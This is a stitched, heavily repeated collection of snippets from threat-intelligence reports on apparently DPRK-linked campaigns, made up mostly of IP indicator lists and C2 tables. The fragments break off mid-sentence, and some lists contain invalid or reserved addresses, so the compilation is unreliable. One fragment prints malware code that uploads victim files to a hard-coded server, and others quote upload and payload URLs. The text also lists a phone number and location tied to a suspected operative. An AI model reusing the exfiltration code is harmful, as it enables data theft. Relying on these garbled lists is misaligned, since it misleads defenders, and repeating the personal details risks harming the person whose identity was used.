Viper C2 166.88.98.221 Feb-25 Cobalt Strike (Watermark: 0) 23.27.240.252 Feb-25 Cobalt Strike…","…AdaptixC2 166.88.114.78 May-25 Sliver C2 166.88.100.85 May-25 Cobalt Strike (Watermark: 391144938) 23.27.48.77 May-25 Remcos 166.88.95.137 May-25 Mythic C2 23.27.48.113 Apr-25 Red Guard (C2 Redirector) 166.88.14.137 Apr-25 Cobalt Strike (Watermark: 391144938)…","…Feb-24 QuasarRAT 166.88.97.138 Aug-25 PlugX 166.88.61.35 Jul-25 China Aligned Espionage, Cobalt Strike (Watermark: 100000) 166.88.96.120 Jun-25 Cobalt Strike (Watermark: 100000) 166.88.4.2 Jun-25 NPM Supply Chain 166.88.2.90 Aug-25 Dark Peony (Operation Controlplug)…","…100000) 23.27.244.39 Aug-24 Remcos 172.121.5.230 Apr-24 Cobalt Strike (Watermark: 100000) 166.88.132.139 Feb-24 QuasarRAT 166.88.97.138 Aug-25 PlugX 166.88.61.35 Jul-25 China Aligned Espionage, Cobalt Strike (Watermark: 100000) 166.88.96.120 Jun-25 Cobalt Strike…","…Cobalt Strike (Watermark: 391144938) 216.173.64.63 Feb-25 XWorm 166.88.90.22 Feb-25 AsyncRAT 23.27.169.4 Feb-25 Viper C2 166.88.98.221 Feb-25 Cobalt Strike (Watermark: 0) 23.27.240.252 Feb-25 Cobalt Strike (Watermark: 666666666) 23.27.48.179 Feb-25 Cobalt Strike…","…666666666) 166.88.14.52 Dec-24 Cobalt Strike (Watermark: 987654321) 166.88.14.44 Mar-25 Xworm 166.88.101.20 Feb-25 DeimosC2 166.88.99.15 Feb-25 Cobalt Strike (Watermark: Unknown) 166.88.55.54 Feb-25 Cobalt Strike (Watermark: Unknown) 166.88.132.39 Nov-25 DPRK Lazarus,…","…6.187 103.175.16.113 209.127.20.13 154.7.253.191 91.243.44.22 4.82.216.57 45.66.230.56 4.5.77.0 197.149.90.166 185.217.197.84 199.19.226.25 167.114.0.144 12.4.0.158 94.23.26.205 85.195.115.20 2.0.0.0 22.186.3.65 4.0.0.0 49.1.1.52 167.71.14.135 23.249.163.163 185.172.128.11 200.98.146.241 185.…","…141.94.148.35 historical 141.94.148.39 historical 147.124.212.180 historical 147.124.212.207 historical 151.80.76.66 historical 167.114.215.75 historical 216.250.251.187 historical 216.250.252.245 historical 54.39.43.114 historical 54.39.43.117 historical 51.178.11.177…","…43 116.255.235.91 194.36.190.41 4.6.0.0 194.36.191.10 203.199.200.61 65.243.103.58 23.95.238.122 66.40.9.246 185.215.113.201 179.43.134.164 167.114.48.58 91.207.116.44 94.198.50.195 174.128.236.169 122.193.130.74 91.92.246.35 49.12.42.56 122.224.9.151 200.98.65.206 1.3.1.0 111.90.149.233 20.2…","….82.145 125.227.90.115 129.232.193.253 134.195.197.175 142.214.202.2 155.94.199.59 158.255.76.195 162.251.62.70 162.251.70.66 166.0.190.170 167.160.181.2 167.88.61.117 167.88.61.148 169.38.75.87 169.38.98.22 170.178.177.178 172.96.141.172 173.232.230.137 173.254.200.134 178.159.7.34 178.175.1…","….77.0 197.149.90.166 185.217.197.84 199.19.226.25 167.114.0.144 12.4.0.158 94.23.26.205 85.195.115.20 2.0.0.0 22.186.3.65 4.0.0.0 49.1.1.52 167.71.14.135 23.249.163.163 185.172.128.11 200.98.146.241 185.125.230.210 3.4.6.7 27.0.092.168 12.101.97.71 122.228.7.225 85.17.93.189 4.82.216.67 206.1…","…IP Ports Source 167.88.168.152 1224, 1244 Travis Mathison, FAMOUS CHOLLIMA 167.88.168.24 — Contagious Interview IOC lists 167.88.160.106 — FOFA tracking 45.61.131.218 — Travis Mathison 45.61.169.99 — Travis Mathison 23.106.253.194 — Travis Mathison 23.106.253.209…","….212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88.132.39 167.88.164.29 167.88.168.152 167.88.168.24 172.86.100.168 172.86.123.35 172.86.97.80 172.86.98.240 173.211.106.101 185.235.241.208 23.106.253.19…","…9 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172.86.109.3 172.86.123.35 172.86.123.55 172.86.66.236 172.86.66.247 172.86.70.173 172.86.93.1…","…The password on 144.172.89.198 matches a credential documented on a previously known server in this cluster — 167.88.165.222 — confirming infrastructure reuse at the credential level. A note on what FTP-based exfiltration looks like operationally: it is not…","…files are excluded via a separate extension list to keep bandwidth focused on text-based credentials and config. Matching files go to 167.88.167.54:8086/upload : await axios.post(`http://167.88.167.54:8086/upload`, form, { headers: { ...form.getHeaders(), userkey: victimKey,…","…fact, we've seen this provider used by NK before. Previously documented IPs across multiple /21 and /22 blocks: IP Ports Source 167.88.168.152 1224, 1244 Travis Mathison, FAMOUS CHOLLIMA 167.88.168.24 — Contagious Interview IOC lists 167.88.160.106 — FOFA tracking…","…72.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.131 147.124.214.237 167.88.36.13 167.88.168.152 167.88.168.24 172.86.97.80 172.86.98.143 172.86.98.240 172.86.123.35 173.211.106.101 185.235.241.208 blocktestingto.com de.ztec.st…","…24.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88.132.39 167.88.164.29 167.88.168.152 167.88.168.24 172.86.100.168 172.86.123.35 172.86.97.80 172.86.98.240 173.211.106.101 185.235.241.208 23.106.253.194 23.106.253.20…","…146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172.86.109.3 172.86.123.35 172.86.123.55 172.86.66.236 172.86.66.247 172.86.70.173 172.86.93.139 172.86.98.24…","…documented IPs across multiple /21 and /22 blocks: IP Ports Source 167.88.168.152 1224, 1244 Travis Mathison, FAMOUS CHOLLIMA 167.88.168.24 — Contagious Interview IOC lists 167.88.160.106 — FOFA tracking 45.61.131.218 — Travis Mathison 45.61.169.99 — Travis Mathison…","…4.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.131 147.124.214.237 167.88.36.13 167.88.168.152 167.88.168.24 172.86.97.80 172.86.98.143 172.86.98.240 172.86.123.35 173.211.106.101 185.235.241.208 blocktestingto.com de.ztec.store:8000 http:…","…24.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88.132.39 167.88.164.29 167.88.168.152 167.88.168.24 172.86.100.168 172.86.123.35 172.86.97.80 172.86.98.240 173.211.106.101 185.235.241.208 23.106.253.194 23.106.253.209 23.106.253.2…","…CL-STA-0237 Linked to the Phishing Attack Our internal telemetry identified newly registered domains resolving to a known IP address, 167.88.36.13 , which is associated with the MiroTalk fake job campaign from July 2024 discussed above.…","…2.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.131 147.124.214.237 167.88.36.13 167.88.168.152 167.88.168.24 172.86.97.80 172.86.98.143 172.86.98.240 172.86.123.35 173.211.106.101 185.235.241.208 blocktestingto…","…. The subdomains were: bookings.xxx chat.xxx gitlab.xxx mail.xxx apply.xxx Subdomain IP ASN mail.blocknovas.com 167.88.39.141 AS47583 AS-HOSTINGER, CY bookings.blocknovas.com 136.143.190.199 AS2639 ZOHO-AS, US gitlab.blocknovas.com chat.blocknovas.com…","…We also found Hashtopolis, a tool to crack passwords, on the mail.BlockNovas.com (167.88.39.141) website (Figure 11).…","Nisos reports that a suspected DPRK operative applied to its own remote Lead AI Architect role in June 2025 using a stolen identity, a newly created address and an AI-written resume, posing as a Florida-based developer; it interviewed him on 24 June 2025, then hired him under a retainer, shipped a monitored laptop to an address in Palm Bay, Florida, and through it observed a laptop farm and the team coordinating his applications. NBC News, which reviewed Nisos's material, says the researchers came to know him as Jo, which is the beginning of the redacted address and not a name he presented, so no persona is anchored here. Nisos withholds his name to protect the real person whose details were used; the telephone number and the two addresses, which Nisos attributes to the Astrill VPN service, are the values it publishes.","…23.237.102.130 37.120.154.98 38.75.137.97 45.86.208.162 50.7.159.34 91.239.130.102 103.214.44.138 167.88.61.117 185.135.76.89 188.43.33.252 211.21.6.181 Contagious Interview (Recorded Future) Recorded Future…","…Source 23.237.102.130 37.120.154.98 38.75.137.97 45.86.208.162 50.7.159.34 91.239.130.102 103.214.44.138 167.88.61.117 185.135.76.89 188.43.33.252 211.211.6.181 Contagious Interview (Recorded future) https:// www.recordedfuture.com/…","…of the operative who applied to Nisos revealed TTPs consistent with DPRK IT workers: use of Astrill VPN (IP addresses 167.88.61.250 and 167.88.61.117); deployment of PiKVM devices for undetectable remote access to corporate laptops; and use of Tailscale mesh VPN to create encrypted…","…7.90.115 129.232.193.253 134.195.197.175 142.214.202.2 155.94.199.59 158.255.76.195 162.251.62.70 162.251.70.66 166.0.190.170 167.160.181.2 167.88.61.117 167.88.61.148 169.38.75.87 169.38.98.22 170.178.177.178 172.96.141.172 173.232.230.137 173.254.200.134 178.159.7.34 178.175.128.98 185.65.2…","…the following PII. Phone: 850-308-4867 Email address: Jo***@gmail.com Address: Palm Beach Gardens, FL 33410 IPs: 167.88.61.250 and 167.88.61.117 Graphic 1: Image of the suspected DPRK operative during the interview. Astrill VPN The…","…Actor: Lenovo@3-RKS 38.170.181.10 Threat Actor: Super@3-AHR-2 217.138.198.34, 89.187.161.220 Threat Actor: degen@Alli 167.88.61.148 Threat Actor: firebird@3-KJH 146.70.63.2 BitMEX 2,685 articles Team BitMEX is a leading crypto derivatives exchange.…","…32.193.253 134.195.197.175 142.214.202.2 155.94.199.59 158.255.76.195 162.251.62.70 162.251.70.66 166.0.190.170 167.160.181.2 167.88.61.117 167.88.61.148 169.38.75.87 169.38.98.22 170.178.177.178 172.96.141.172 173.232.230.137 173.254.200.134 178.159.7.34 178.175.128.98 185.65.205.130 185.135…","…analysis of the operative who applied to Nisos revealed TTPs consistent with DPRK IT workers: use of Astrill VPN (IP addresses 167.88.61.250 and 167.88.61.117); deployment of PiKVM devices for undetectable remote access to corporate laptops; and use of Tailscale mesh VPN to…","…our investigation continues. Here is the sample list of IP addresses: 103.130.145.210 104.129.22.2 113.20.30.139 134.195.197.175 167.88.61.250 169.38.132.135 169.57.129.31 172.93.100.166 172.96.141.172 185.108.128.54 Continuing to Track Astrill VPN Our team continues…","…role using the following PII. Phone: 850-308-4867 Email address: Jo***@gmail.com Address: Palm Beach Gardens, FL 33410 IPs: 167.88.61.250 and 167.88.61.117 Graphic 1: Image of the suspected DPRK operative during the interview.…","…4.160.126 149.102.147.106 135.125.177.94 193.233.132.177 185.254.97.190 46.8.237.66 89.202.157.139 154.39.239.56 121.88.5.184 85.208.108.63 167.99.115.33 222.73.85.117 149.28.222.244 104.223.67.151 162.250.98.10 185.156.73.73 193.233.254.0 194.38.20.211 198.15.82.162 179.60.149.194 193.242.14…","…120 58.49.58.20 154.12.92.53 94.228.169.123 89.188.16.18 69.50.170.100 115.238.251.56 91.243.44.21 107.175.3.10 222.186.50.35 185.183.98.14 167.99.39.23 195.88.208.210 112.101.40.34 9.5.11.0 64.190.113.230 69.50.175.178 60.217.234.138 188.34.187.110 4.55.37.210 18.141.200.95 66.199.251.114 8…","…5.106 193.142.58.171 188.40.184.141 91.240.118.168 185.118.167.189 216.126.196.190 139.59.209.204 18.193.102.232 100.43.129.182 81.0.250.47 168.0.0.255 103.207.39.154 59.89.120.99 62.171.176.240 209.190.122.186 5.172.39.25 190.123.44.138 5.255.117.115 85.239.33.149 5.206.227.228 181.189.152…","…continues. Here is the sample list of IP addresses: 103.130.145.210 104.129.22.2 113.20.30.139 134.195.197.175 167.88.61.250 169.38.132.135 169.57.129.31 172.93.100.166 172.96.141.172 185.108.128.54 Continuing to Track Astrill VPN Our team continues to track…","….195.197.175 142.214.202.2 155.94.199.59 158.255.76.195 162.251.62.70 162.251.70.66 166.0.190.170 167.160.181.2 167.88.61.117 167.88.61.148 169.38.75.87 169.38.98.22 170.178.177.178 172.96.141.172 173.232.230.137 173.254.200.134 178.159.7.34 178.175.128.98 185.65.205.130 185.135.76.89 185.13…","…142.214.202.2 155.94.199.59 158.255.76.195 162.251.62.70 162.251.70.66 166.0.190.170 167.160.181.2 167.88.61.117 167.88.61.148 169.38.75.87 169.38.98.22 170.178.177.178 172.96.141.172 173.232.230.137 173.254.200.134 178.159.7.34 178.175.128.98 185.65.205.130 185.135.76.89 185.135.76.115 185.…","…is the sample list of IP addresses: 103.130.145.210 104.129.22.2 113.20.30.139 134.195.197.175 167.88.61.250 169.38.132.135 169.57.129.31 172.93.100.166 172.96.141.172 185.108.128.54 Continuing to Track Astrill VPN Our team continues to track Astrill VPN and will…","…53.116 212.46.38.238 95.164.63.54 80.66.75.44 172.94.3.25 103.117.121.160 45.95.235.56 50.233.152.7 122.224.32.8 173.243.255.79 89.23.98.16 170.130.55.130 103.20.235.174 139.162.22.35 1.1.1.1 91.92.251.35 121.88.5.183 192.3.220.6 5.181.159.76 178.16.54.109 38.154.237.100 45.61.160.28 46.105.47…","…155.94.199.59 158.255.76.195 162.251.62.70 162.251.70.66 166.0.190.170 167.160.181.2 167.88.61.117 167.88.61.148 169.38.75.87 169.38.98.22 170.178.177.178 172.96.141.172 173.232.230.137 173.254.200.134 178.159.7.34 178.175.128.98 185.65.205.130 185.135.76.89 185.135.76.115 185.152.67.39 185.18…","…LLC IPs for hosting, which are likely attacker-controlled boxes that were also used as sender IPs in early UNK_DeadDrop campaigns: 170.205.29.83 and 170.205.30.227 .…","…f4e7ca8c1de252840c1f0e957cd4b717 f73e07efb8707e3561e9cbff74557acb C2 112.216.9.171 170.205.29.83 170.205.30.227 185.27.134.140 27.102.137.126 27.102.137.159 27.102.138.44 Domain stoks.great-site.net…","…asteara.org is among the infrastructure attributed by Proofpoint to the UNK_DeadDrop cluster as early as April 2026 [1]. The IP address 170.205.29.83 was used by the same cluster for its phishing email delivery [1] and appears among the C2 servers listed by Genians [3].…","…hosting, which are likely attacker-controlled boxes that were also used as sender IPs in early UNK_DeadDrop campaigns: 170.205.29.83 and 170.205.30.227 .…","…f4e7ca8c1de252840c1f0e957cd4b717 f73e07efb8707e3561e9cbff74557acb C2 112.216.9.171 170.205.29.83 170.205.30.227 185.27.134.140 27.102.137.126 27.102.137.159 27.102.138.44 Domain stoks.great-site.net Email…","…23.88.122.128 192.3.31.211 94.131.108.78 94.102.60.207 69.31.84.223 70.38.40.185 42.51.159.222 84.16.234.103 209.62.108.220 209.141.42.149 170.85.221.107 94.142.138.97 222.139.151.114 18.159.59.253 121.207.229.145 61.92.48.59 103.213.247.48 20.254.53.47 104.168.32.203 198.12.107.229 20.40.97.…","…Bhd. 171.22.183.235 AS47846 LeaseWeb Netherlands B.V. 198.105.127.210 AS149440 Evoxt Sdn.…","…(may be shared origin) 2 157.245.59.236 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 171.228.181.120 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 171.99.253.154 ipv4 insider August 2024…","…(may be shared origin) 2 171.228.181.120 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 171.99.253.154 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 172.105.247.219 ipv4 insider August 2024…","…82.118.21.69 205.234.253.184 94.158.247.32 185.249.196.106 155.94.210.73 103.219.106.107 212.192.219.52 91.92.248.50 47.96.86.81 45.9.74.36 172.104.160.126 149.102.147.106 135.125.177.94 193.233.132.177 185.254.97.190 46.8.237.66 89.202.157.139 154.39.239.56 121.88.5.184 85.208.108.63 167.99.11…","…16.9.143.112 208.67.222.222 91.92.253.11 154.204.179.4 176.111.174.140 185.106.94.51 112.175.69.77 185.123.53.208 154.91.64.19 51.75.36.184 172.104.65.137 178.250.159.150 79.174.92.22 67.198.179.75 103.54.153.116 212.46.38.238 95.164.63.54 80.66.75.44 172.94.3.25 103.117.121.160 45.95.235.56 5…","…(may be shared origin) 2 171.99.253.154 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 172.105.247.219 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 173.255.223.18 ipv4 insider August 2024…","…Sliver C2 166.88.57.117 Sep-24 SuperShell C2 136.0.11.193 Sep-24 Cobalt Strike (Watermark: 100000) 23.27.244.39 Aug-24 Remcos 172.121.5.230 Apr-24 Cobalt Strike (Watermark: 100000) 166.88.132.139 Feb-24 QuasarRAT 166.88.97.138 Aug-25 PlugX 166.88.61.35 Jul-25 China…","…92.0.0.170 1.3.132.0 255.255.255.255 240.0.0.0 192.88.99.0 192.0.2.0 192.175.48.0 69.197.164.135 95.216.64.240 198.23.251.121 192.3.204.226 172.245.142.35 173.208.160.45 107.189.11.54 13.112.233.199 45.32.176.234 122.224.9.67 45.58.116.102 6.0.6.0 14.114.114.114 122.224.51.149 81.177.26.27 34.…","…124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88.132.39 167.88.164.29 167.88.168.152 167.88.168.24 172.86.100.168 172.86.123.35 172.86.97.80 172.86.98.240 173.211.106.101 185.235.241.208 23.106.253.194 23.106.253.209 23.106.253.215 23.106.70.15…","….89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172.86.109.3 172.86.123.35 172.86.123.55 172.86.66.236 172.86.66.247 172.86.70.173 172.86.93.139 172.86.98.240 173.211.106.1…","Addresses shown in two screenshots Hayden McKenzie's second report publishes from the operator's archive, dated 23 April 2024: a Cloudzy dashboard (instances named proxy, HNJ-New, HGH and RHS-Alexander, the last a persona name) and an is*hosting server list of five Windows VPSs. The report describes them as the operation's hosting. They are rented addresses and will have been reassigned since.","…BeaverTail + binary protocol Active 45.59.163.55 1244 BeaverTail victim C2 Active 216.250.251.87 1247 BeaverTail backup Active 172.86.105.40 5918 OtterCookie victim C2 Active 172.86.116.178 5918 OtterCookie victim C2 Active 86.106.85.234 4558 OtterCookie victim C2 Active…","…We deobfuscated the payload and found a hardcoded C2 IP ( 172.86.105.40:5918 ) along with campaign UIDs embedded in the code.…","….11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172.86.109.3 172.86.123.35 172.86.123.55 172.86.66.236 172.86.66.247 172.86.70.173 172.86.93.139 172.86.98.240 173.211.106.101 185.153.182.…","…IP 45.61.140.26 23.254.253.75 45.61.128.122 45.61.135.105 144.172.74.23 144.172.74.141 172.86.108.47 216.107.136.10 MD5 529fe6eff1cf452680976087e2250c02 SHA-256 bd2aa5805b76f272b43a595b3d73e29d0fc4647e15e87950b8f904ea26dcf053…","…as Validin, we can identify clear relations between the initial stage 1 delivery domain ( matuaner.com ) and the IPs 45.61.135.105 and 172.86.108.47 .…","….29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172.86.109.3 172.86.123.35 172.86.123.55 172.86.66.236 172.86.66.247 172.86.70.173 172.86.93.139 172.86.98.240 173.211.106.101 185.153.182.241 185.235.2…","…32 147.124.214.129 147.124.214.131 147.124.214.237 165.140.85.105 165.140.86.154 165.140.86.160 165.140.86.181 165.140.86.227 172.86.73.198 172.86.109.49 172.86.113.115 172.86.116.90 172.86.123.55 176.222.52.77 216.126.229.166 GolangGhost C2…","…157.7.184.11 JP account-profile.servepics.com 210.179.30.213 KR accounts-porfile.serveirc.com securedrive.servehttp.com 172.86.111.75 US 118.194.228.184 JP securedrive.fin-tech.com 115.92.4.123 KR kida.plusdocs.kro.kr 1.223.129.234 KR mspro.kro.kr…","…January 2025 121.179.161.231 IP Likely legitimate but compromised server January 2025 172.86.111.75 IP Likely legitimate but compromised server January 2025 210.179.30.213 IP Likely…","….129 147.124.214.131 147.124.214.237 165.140.85.105 165.140.86.154 165.140.86.160 165.140.86.181 165.140.86.227 172.86.73.198 172.86.109.49 172.86.113.115 172.86.116.90 172.86.123.55 176.222.52.77 216.126.229.166 GolangGhost C2…","…http[://]144.172.112.50/api/service/makelog http[://]172.86.73.46 http[://]135.181.123.177 http[://]172.86.113.12 Download URLs https[://]www.npmjs.com/package/node-nvm-ssh https[://]bitbucket.org/dev-chess/chess-frontend.git Share…","…ROUTERHOSTING socket.io URL with mismatched pingTimeout parameter 172.86.73.46 ROUTERHOSTING Nothing of significance to mention 172.86.113.12 ROUTERHOSTING Nothing of significance to mention Observations None of the ports from the C2 URLs mentioned in the source correspond…","…akelog http://144.172.96.35/api/service/makelog http://144.172.112.50/api/service/makelog http://172.86.73.46 http://135.181.123.177 http://172.86.113.12 https://www.npmjs.com/package/node-nvm-ssh https://bitbucket.org/dev-chess/chess-frontend.git","…162.254.35.14 74.119.194.205 172.86.114.31 139.60.163.206 212.85.29.133 80.209.243.85 参考文献 [1]: Palo Alto Networks, \"Hacking Employers and Seeking Employment: Two Job-Related…","…1244 BeaverTail victim C2 Active 216.250.251.87 1247 BeaverTail backup Active 172.86.105.40 5918 OtterCookie victim C2 Active 172.86.116.178 5918 OtterCookie victim C2 Active 86.106.85.234 4558 OtterCookie victim C2 Active 144.172.104.117 5918 OtterCookie victim C2 Active…","…147.124.212.125, 147.124.214.129, 66.235.168.238, 45.59.163.55, 216.250.251.87 OtterCookie C2s (confirmed): 172.86.105.40, 172.86.116.178, 86.106.85.234, 144.172.104.117, 144.172.101.45 Detection opportunity: Any server presenting this port configuration—particularly the…","…4.131 147.124.214.237 165.140.85.105 165.140.86.154 165.140.86.160 165.140.86.181 165.140.86.227 172.86.73.198 172.86.109.49 172.86.113.115 172.86.116.90 172.86.123.55 176.222.52.77 216.126.229.166 GolangGhost C2…","…69.10.53.86 60.93.32.117 103.35.188.237 23.227.203.204 217.148.142.113 0.10.51.212 45.61.151.174 23.227.203.192 23.227.202.51 23.227.202.52 172.86.116.90 144.172.97.7 95.179.135.133 37.60.234.203 107.172.31.179 188.255.239.34 197.182.186.212 43.136.234.140 192.210.215.11 46.28.70.102 156.245.…","…(2022-09-20 - today) Inactive servers 104.255.172.56 (2022-09-15 - 2023-04-11) 172.93.181.221 (2022-12-28 - 2023-03-06) 172.86.121.143 (2022-10-31 - 2022-12-21) 172.86.121.130 (2022-10-25 - 2023-01-24) 149.28.247.34 (2022-11-11 - 2022-11-11) 152.89.247.87 (2022-09-15 -…","…Similarly, the intrusion set sporadically used a specific server when experimenting with chm (Windows Helper) files (172.86.122.181) in December 2022. Conclusion Sekoia.io analysts assess this activity is part of Bluenoroff’s SnatchCrypto campaign , active since 2017.…","…147.124.214.129 147.124.214.131 147.124.214.237 167.88.36.13 167.88.168.152 167.88.168.24 172.86.97.80 172.86.98.143 172.86.98.240 172.86.123.35 173.211.106.101 185.235.241.208 blocktestingto.com de.ztec.store:8000 http://freeconference.io http://mirotalk.net http://ipcheck.cl…","…124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88.132.39 167.88.164.29 167.88.168.152 167.88.168.24 172.86.100.168 172.86.123.35 172.86.97.80 172.86.98.240 173.211.106.101 185.235.241.208 23.106.253.194 23.106.253.209 23.106.253.215 23.106.70.154 23.254.244.2…","…14.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172.86.109.3 172.86.123.35 172.86.123.55 172.86.66.236 172.86.66.247 172.86.70.173 172.86.93.139 172.86.98.240 173.211.106.101 185.153.182.241 185.235.241.208 191.96.…","…214.237 165.140.85.105 165.140.86.154 165.140.86.160 165.140.86.181 165.140.86.227 172.86.73.198 172.86.109.49 172.86.113.115 172.86.116.90 172.86.123.55 176.222.52.77 216.126.229.166 GolangGhost C2…","….214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172.86.109.3 172.86.123.35 172.86.123.55 172.86.66.236 172.86.66.247 172.86.70.173 172.86.93.139 172.86.98.240 173.211.106.101 185.153.182.241 185.235.241.208 191.96.31.38 195.201.…","…24.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172.86.109.3 172.86.123.35 172.86.123.55 172.86.66.236 172.86.66.247 172.86.70.173 172.86.93.139 172.86.98.240 173.211.106.101 185.153.182.241 185.235.241.208 191.96.31.38 195.201.172.170 216.12…","….140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172.86.109.3 172.86.123.35 172.86.123.55 172.86.66.236 172.86.66.247 172.86.70.173 172.86.93.139 172.86.98.240 173.211.106.101 185.153.182.241 185.235.241.208 191.96.31.38 195.201.172.170 216.126.229.166 23.1…","…6.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172.86.109.3 172.86.123.35 172.86.123.55 172.86.66.236 172.86.66.247 172.86.70.173 172.86.93.139 172.86.98.240 173.211.106.101 185.153.182.241 185.235.241.208 191.96.31.38 195.201.172.170 216.126.229.166 23.106.253.194 23.…","…IPv4 147.124.213.19 2026-01-21 2026-02-26 IPv4 67.203.7.205 2026-01-21 2026-02-26 IPv4 172.86.73.198 2026-01-21 2026-02-26 IPv4 38.92.47.152 2026-01-21 2026-02-26 IPv4 66.235.175.117 2026-01-21…","…147.124.213.232 147.124.214.129 147.124.214.131 147.124.214.237 165.140.85.105 165.140.86.154 165.140.86.160 165.140.86.181 165.140.86.227 172.86.73.198 172.86.109.49 172.86.113.115 172.86.116.90 172.86.123.55 176.222.52.77 216.126.229.166 GolangGhost C2…","…information collection autoUploadScript This script scans all drives for files containing specific strings and uploads them to http://172.86.73.198:8086/upload .…","…http[://]144.172.96.35/api/service/makelog http[://]144.172.112.50/api/service/makelog http[://]172.86.73.46 http[://]135.181.123.177 http[://]172.86.113.12 Download URLs https[://]www.npmjs.com/package/node-nvm-ssh…","…ROUTERHOSTING Historically hosted on PONYNET 144.172.112.50 ROUTERHOSTING socket.io URL with mismatched pingTimeout parameter 172.86.73.46 ROUTERHOSTING Nothing of significance to mention 172.86.113.12 ROUTERHOSTING Nothing of significance to mention Observations None…","…upload http://135.181.123.177/api/service/makelog http://144.172.96.35/api/service/makelog http://144.172.112.50/api/service/makelog http://172.86.73.46 http://135.181.123.177 http://172.86.113.12 https://www.npmjs.com/package/node-nvm-ssh https://bitbucket.org/dev-chess/chess-frontend.git","Direct-IP C2 endpoint observed in the HexEval Loader wave of Contagious Interview npm packages, on port 1224.","…— Travis Mathison 23.106.253.209 — Travis Mathison 144.172.105.235 — Socket.dev 172.86.98.240 1224, 1244 Travis Mathison 172.86.80.145 1224 Travis Mathison Shodan.io also reveals a Windows remote desktop on port 3389 with the name of PITER3 potentially a reference to…","…BeaverTail Malware # Once decoded, the HexEval Loader in the loveryon cluster retrieved a second-stage payload (BeaverTail malware) from 172.86.80.145:1224 and executed it using eval() .…","…IP 주소 1 172.86.84.38 2 45.61.150.31 3 94.131.97.195 4 144.172.97.7 5 185.235.241.208 6 45.61.128.110 7 144.172.86.27 8 185.153.182.241 9…","…The stolen data is then exfiltrated to a hardcoded C2 server at http://172.86.84.38:1224/uploads , following Lazarus’s well-documented strategy of harvesting and transmitting compromised information. Below is a code…","…147.124.197.149 147.124.212.146 147.124.212.89 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 172.86.84.38 172.86.98.240 185.153.182.241 185.235.241.208 216.126.229.166 23.106.253.194 23.106.253.215 23.106.253.221 23.106.253.242…","…empty-array-validator alextucker0519 2025-03-12 04:18:13 https://github.com/lukobogdan47/empty-array-validator 172.86.84.38:1224/client/9/901 144.172.86.27:1224/client/9/903 2 twitterapis taras_lakhai 2025-03-13 20:32:06…","….159.76 178.16.54.109 38.154.237.100 45.61.160.28 46.105.47.148 138.201.125.58 224.0.0.0 192.0.2.1 0.0.0.0 192.0.0.0 192.0.0.171 100.64.0.0 172.86.84.38 3.2.8.1 52.59.124.14 92.123.45.67 4.3.2.1 198.51.100.16 8.8.8.8 103.150.68.150 1.2.3.4 240.1.2.3 198.51.100.0 192.52.193.0 192.0.0.8 045.3.…","…data and the captured screenshots are uploaded to the OtterCookie C2 server at a specific TCP port 1478, using the URL “http[://]172.86.88.188:1478/upload”.…","…Cisco Talos - Beavertail and Ottercookie IP Address ASN Notes 23.227.202.244 HVC-AS Similar HTTP headers to socket.io C2 172.86.88.188 ROUTERHOSTING Nothing of significance to mention 138.201.50.5 Hetzner Online GmbH Same ASN as Cluster-3 135.181.123.177 Hetzner…","…:1224/client/14/144 http://23.227.202.244:1224/payload/14/144 http://23.227.202.244:1224/brow/14/144 http://23.227.202.244:1224/keys http://172.86.88.188:1418/socket.io/ http://172.86.88.188:1476/upload http://172.86.88.188/api/service/makelog http://172.86.88.188/api/service/process/c841b6c4…","…We could now see connections to 172.86.89.10:4382 that weren’t obvious in the partially-decoded code. Backdoor implementation : What looked like generic network code was actually a…","…technique we typically observe in BeaverTail delivery. The BeaverTail and InvisibleFerret samples associated with this campaign both use 172.86.93.139 as a command and control address and use tttttt as the campaign identifier. Related Infrastructure and Personas The threat actor’s web…","…Secondary C2 (port 1224) 45.59.163.23 Tier.Net US (Florida) Windows C2 node (port 1244) -- SMB/RDP exposed, CVE-2020-0796 vulnerable 172.86.93.139 FranTech/BuyVM (PONYNET) US (Wyoming) Credential exfiltration endpoint (port 3000) nvidiasdk.fly.dev Fly.io US Serverless payload…","…7.88.164.29 167.88.168.152 